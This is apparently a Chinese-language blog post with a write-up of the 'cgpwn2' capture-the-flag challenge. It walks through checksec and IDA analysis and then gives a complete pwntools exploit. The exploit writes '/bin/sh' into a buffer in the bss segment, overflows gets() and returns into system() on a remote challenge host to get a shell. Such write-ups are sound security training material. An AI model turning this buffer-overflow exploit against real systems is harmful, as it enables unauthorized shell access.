cgpwn2

作者: 常向阳_ | 来源:发表于2019-08-05 18:40 被阅读0次
    image.png

    0x00 filechecksec

    image.png

    0x01 ida分析

    image.png
    • 调用了hello函数
    • 存在危险函数gets
    • 发现name存在于bss段,可能能向里面写点什么东西,接着往下看
      image.png
    • 同时发现存在system函数
      image.png
    • 思路就有了,利用read向bss段写入'/bin/sh',然后利用gets溢出调用system即可getshell

    0x02 完整exp

    • name写为'/bin/sh',返回地址改为system_plt的地址,参数为name的地址即可
    from pwn import *
    
    local=0
    pc='./cgpwn2'
    aslr=True
    context.log_level=True
    context.terminal = ["deepin-terminal","-x","sh","-c"]
    
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    if local==1:
        #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
        p = process(pc,aslr=aslr)
        #gdb.attach(p,'c')
    else:
        remote_addr=['111.198.29.45', 45365]
        p=remote(remote_addr[0],remote_addr[1])
    
    ru = lambda x : p.recvuntil(x)
    sn = lambda x : p.send(x)
    rl = lambda   : p.recvline()
    sl = lambda x : p.sendline(x)
    rv = lambda x : p.recv(x)
    sa = lambda a,b : p.sendafter(a,b)
    sla = lambda a,b : p.sendlineafter(a,b)
    
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
    def raddr(a=6):
        if(a==6):
            return u64(rv(a).ljust(8,'\x00'))
        else:
            return u64(rl().strip('\n').ljust(8,'\x00'))
    
    if __name__ == '__main__':
        bin_sh = '/bin/sh'
        sla('name\n', bin_sh)
    
        system_plt_addr = 0x08048420
        name_addr = 0x0804a080
        payload = ''
        payload += 'A'*0x26
        payload += 'cxy1'
        payload += p32(system_plt_addr)
        payload += 'cxy2'
        payload += p32(name_addr)
        sla('here:\n', payload)
        p.interactive()
    

    0x03 结果

    image.png

    相关文章

      网友评论

        本文标题:cgpwn2

        本文链接:https://www.haomeiwen.com/subject/ehhvdctx.html